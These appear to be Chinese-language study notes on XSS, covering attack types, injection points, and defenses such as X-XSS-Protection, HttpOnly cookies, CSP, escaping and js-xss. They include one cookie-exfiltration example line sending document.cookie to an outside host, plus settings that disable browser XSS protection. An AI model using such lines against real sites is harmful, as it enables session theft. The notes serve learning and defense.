前端安全[xss]

XSS

简介

XSS，全称Cross-site scripting，跨站^[1]脚本攻击；

不同的场合，Cross-site跨站的涵义不同，在CSFR中，跨站是另一种解释[公共后缀列表（Public Suffix List）]；

vs. CSFR

• CSFR是引导用户进入第三方页面；
• XSS是在目标站进行操作；

分类

反射型

URL ——> HTML片段
new Image().src = 'http://baidu.com?token=document.cookie'

DOM型

URL ——> JS

存储型

script ——> DB

危害

• 通过cookie获取用户登录态、喜好
• 获取页面数据
• 插入恶意内容、外部脚本
• 劫持前端逻辑
• 利用用户登录态模拟用户操作

浏览器信任

浏览器不知道哪些是可以信任的。

注入点

• HTML节点内容
• HTML属性
  • 主动闭合属性
• JavaScript代码
  • 逻辑中用到用户输入内容
• 富文本

防御

浏览器请求头/服务器配置

告诉浏览器哪些是可信的

x-protect-xss

HTTP X-XSS-Protection 响应头是 Internet Explorer、Chrome 和 Safari 的一个特性，当检测到跨站脚本攻击 (XSS)时，浏览器将停止加载页面。若网站设置了良好的 Content-Security-Policy 来禁用内联 JavaScript ('unsafe-inline')，现代浏览器不太需要这些保护， 但其仍然可以为尚不支持 CSP 的旧版浏览器的用户提供保护。

• "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
• 具有兼容性问题，可在Safari中测试

app.use(async (ctx, next) => {
    //Koa示例
    ctx.set('X-XSS-Protection', "0") // 0关闭，1打开保护
    await next();
})

httpOnly

设置了 HttpOnly 属性的 cookie 不能使用 JavaScript 经由 Document.cookie 属性、XMLHttpRequest 和 Request APIs 进行访问，以防范跨站脚本攻击（XSS）。

app.use(async (ctx, next) => {
    //Koa示例
    ctx.set('cookie', "sessionid=38afes7a8; HttpOnly; Path=/")
    await next();
})

CSP

CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。

app.use(async (ctx, next) => {
    ctx.set(
        'Content-Security-Policy',
        "\
            default-src 'self';\
            script-src 'self' userscripts.example.com;\
            style-src 'unsafe-inline' 'unsafe-eval';\
    ")
    await next();
})

• browser-sync vs. koa
  • browser-sync内置了对用户输入的处理：学习一下。

手动防御处理

处理成可信的

• HTML节点内容
  • 将<>实体转义
• HTML属性
  • 将""转义
• JavaScript代码
  • 使用JSON.stringify()进行编码
• 富文本
  • 白名单/黑名单
    • 白名单：更新频率低，变动风险小，维护成本低
    • 黑名单：变动风险大
  • 一般在存储到数据库之前处理，为了避免读数据库展示时处理，渲染时间长

第三方

处理成可信的

• js-xss
  • 遍历字符串
    • 遇<、>转实体
    • 属性白名单——过滤属性
      • 借助cssfilter

---

1. XSS的跨站是指只要不是开发者操作的脚本都是跨站脚本，应对XSS攻击主要是对用户输入的内容进行处理。 ↩